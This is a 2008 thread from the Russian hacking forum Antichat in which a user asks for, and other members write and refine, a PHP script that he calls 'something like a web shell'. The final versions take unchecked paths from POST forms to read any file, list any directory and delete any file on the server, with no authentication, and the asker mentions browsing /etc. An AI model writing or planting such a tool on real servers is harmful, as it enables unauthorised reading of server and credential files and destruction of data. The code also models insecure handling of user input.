ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

вывод результатов из Php
  #1  
Старый 24.09.2008, 20:12
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию вывод результатов из Php

Есть два куска кода:

1 кусок кода читает содержимое файлов

PHP код:
<?php
$filename 
"/var/www/html/index.php";
$fp fopen($filename'r');
$buf fread($fpfilesize($filename));
fclose($fp);
echo 
$buf;
?>
Второй кусок кода выводит содержимое директории

PHP код:
<?php
$dir    
'/var/www/';
$files scandir($dir);
print_r($files);
?>
Как можно поместить их в один файл и методом post создавать запросы, чтобы был вывод на экран?
Например, если я хочу просмотреть директорию - я ввожу адрес. нажимаю готово и наблюдаю ответ
Тоже самое должн происходить и с выводом содержимого файла?
Могу предположить чисто теоретический, что запросы будут методом POST через разделение взаимосвязанности функции.
 
Ответить с цитированием

  #2  
Старый 24.09.2008, 20:22
Аватар для brasco2k
brasco2k
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме:
1215706

Репутация: 310
По умолчанию

Во первых, не:
PHP код:
<?php 
$filename 
"/var/www/html/index.php"
$fp fopen($filename'r'); 
$buf fread($fpfilesize($filename)); 
fclose($fp); 
echo 
$buf
?>
а:
PHP код:
<?php
$buf 
file_get_contents('/var/www/html/index.php');
echo 
$buf;
?>
а по теме, $_POST это массив:
PHP код:
<?php
foreach($_POST as $key)
{
      echo 
$key.'<br>';
}
file_put_contents('post.txt',$_POST);
?>
если чесна не понял вопроса
 
Ответить с цитированием

  #3  
Старый 24.09.2008, 20:27
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Цитата:
Во первых, не:
PHP код:
<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>

а:
PHP код:
<?php
$buf = file_get_contents('/var/www/html/index.php');
echo $buf;
?>
А если файл весит 500 мб?
 
Ответить с цитированием

  #4  
Старый 24.09.2008, 20:28
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Спасибо.
Нужно эти 2 куска кода запихать в один файл.
Что-то типа веб-шелла на php но лишь с двумя возможностями:
1) вывод список файлов и папок в данной директории, например "/var/www/html/'"
2) вывод исходного текста, например из index.php

Последний раз редактировалось Ershik; 24.09.2008 в 20:41..
 
Ответить с цитированием

  #5  
Старый 24.09.2008, 20:37
Аватар для brasco2k
brasco2k
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме:
1215706

Репутация: 310
По умолчанию

Цитата:
Сообщение от Kaimi  
А если файл весит 500 мб?
1. PHP не позволит
2. Кто такие файлы грузит?
 
Ответить с цитированием

  #6  
Старый 24.09.2008, 21:57
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Что то типа того... о безопасности позаботься сам...

PHP код:
<form action="" method="post">
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>

<form action="" method="post">
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>

<?php 
if($_POST['fail'] and $_POST['ok1']){
$filename $_POST['fail']; 
$fp fopen($filename'r'); 
$buf fread($fpfilesize($filename)); 
fclose($fp); 
echo 
"<textarea rows=20 cols=100>" $buf "</textarea>"
}
if(
$_POST['dir'] and $_POST['ok2']){
$dir    $_POST['dir']; 
$files scandir($dir); 
echo 
"<textarea rows=20 cols=100>";
foreach(
$files as $file){
 echo 
$file "\r\n";
 }
 echo 
"</textarea>";
}
?>
 
Ответить с цитированием

  #7  
Старый 24.09.2008, 22:16
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Работает Только когда просишь показать внутренности файла "index.php " - идет исполнение за рамками поля) ну да ладно)
 
Ответить с цитированием

  #8  
Старый 24.09.2008, 22:44
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

поменяй

PHP код:
echo "<textarea rows=20 cols=100>" $buf "</textarea>"
на

PHP код:
echo "<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>"
а так я на скорую руку набросал.. добавь еще проверку на существование файлов и директорий ..
 
Ответить с цитированием

  #9  
Старый 02.12.2008, 18:00
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Доработал чуть-чуть скрипт, и возникли вопросы.
1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле.
Как это можно пофиксить?
2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги:
etc, /etc/home/, /etc/home/pornostar/index.php/

Как можно сохранить строку директории?

3) В коде есть ненужный кусок
Цитата:
if (file_exists($_POST['fail']))
{
}

else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке.
Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет?

Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал.
Впервой мне
Сам скрипт

PHP код:
<form action="" method="post"> 
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form> 

<form action="" method="post"> 
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form> 

<form action="" method="post"> 
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form> 


<?php  

if($_POST['fail'] and $_POST['ok1']){ 
$filename $_POST['fail'];  
$fp fopen($filename'r');
if (
file_exists($_POST['fail']))
{
}
else
{
echo 
'<div align="center"><h1>файл не найден</h1></div>';
}
$file_exists $buf;  
$buf fread($fpfilesize($filename));  
fclose($fp);  
echo 
"<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>";

}
if(
$_POST['dir'] and $_POST['ok2']){ 
$dir    $_POST['dir'];  
$files scandir($dir);  
echo 
"<textarea rows=20 cols=100>"
foreach(
$files as $file){ 
 echo 
$file "\r\n"
 } 
 echo 
"</textarea>"

if(
$_POST['del'] and $_POST['ok3']){ 
$del $_POST['del'];
$uplink unlink($_POST['del']);
}
?>
<br>
    <br>
<script language="javascript">
    var name = navigator.appName;
    var vers = navigator.appVersion;
    var code = navigator.appCodeName;
    var where = document.referrer;
    var platform = navigator.platform;
    document.write(
        'Броузер: ' + name +
        '<br>Версия броузера: ' + vers +
        '<br>Кодовое название броузера: ' + code +
        '<br>Вы зашли из: ' + where +
        '<br>Платформа: ' + platform
        );
</script>
 
Ответить с цитированием

  #10  
Старый 02.12.2008, 18:24
Аватар для [dei]
[dei]
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме:
1123418

Репутация: 362
Отправить сообщение для [dei] с помощью ICQ
По умолчанию

PHP код:
<?php
if(!empty($_POST['fail'])) $fail $_POST['fail'];
else 
$fail false;
if(!empty(
$_POST['dir'])) $dir $_POST['dir'];
else 
$dir false
?>

<form action="" method="post">  
Позырить файл <input type="text" name="fail" value="<?php echo $fail ?>"> <input type="submit" name="ok1"></form>  

<form action="" method="post">  
Глянуть директорию <input type="text" name="dir" value="<?php echo $dir ?>"> <input type="submit" name="ok2"></form>  

<form action="" method="post">  
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>  


<?php   

if($fail and $_POST['ok1']) {  
    
$filename $fail;   
    
$fp fopen($filename'r'); 
    if (!@
file_exists($fail)) echo '<div align="center"><h1>файл не найден</h1></div>'
    
    
$file_exists $buf;   
    
$buf fread($fpfilesize($filename));   
    
fclose($fp);   
    echo 
"<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>"


if(
$dir and $_POST['ok2']) {    
    
$dir $dir;   
    
$files scandir($dir);   
    echo 
"<textarea rows=20 cols=100>";  
    foreach(
$files as $file) {  
        echo 
$file "\r\n";  
    }  
    echo 
"</textarea>";  
}  
if(
$_POST['del'] and $_POST['ok3']) {  
    
$del $_POST['del']; 
    
$uplink unlink($_POST['del']); 

?> 
<br> 
    <br> 
<script language="javascript"> 
    var name = navigator.appName; 
    var vers = navigator.appVersion; 
    var code = navigator.appCodeName; 
    var where = document.referrer; 
    var platform = navigator.platform; 
    document.write( 
        'Броузер: ' + name + 
        '<br>Версия броузера: ' + vers + 
        '<br>Кодовое название броузера: ' + code + 
        '<br>Вы зашли из: ' + where + 
        '<br>Платформа: ' + platform 
        ); 
</script>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ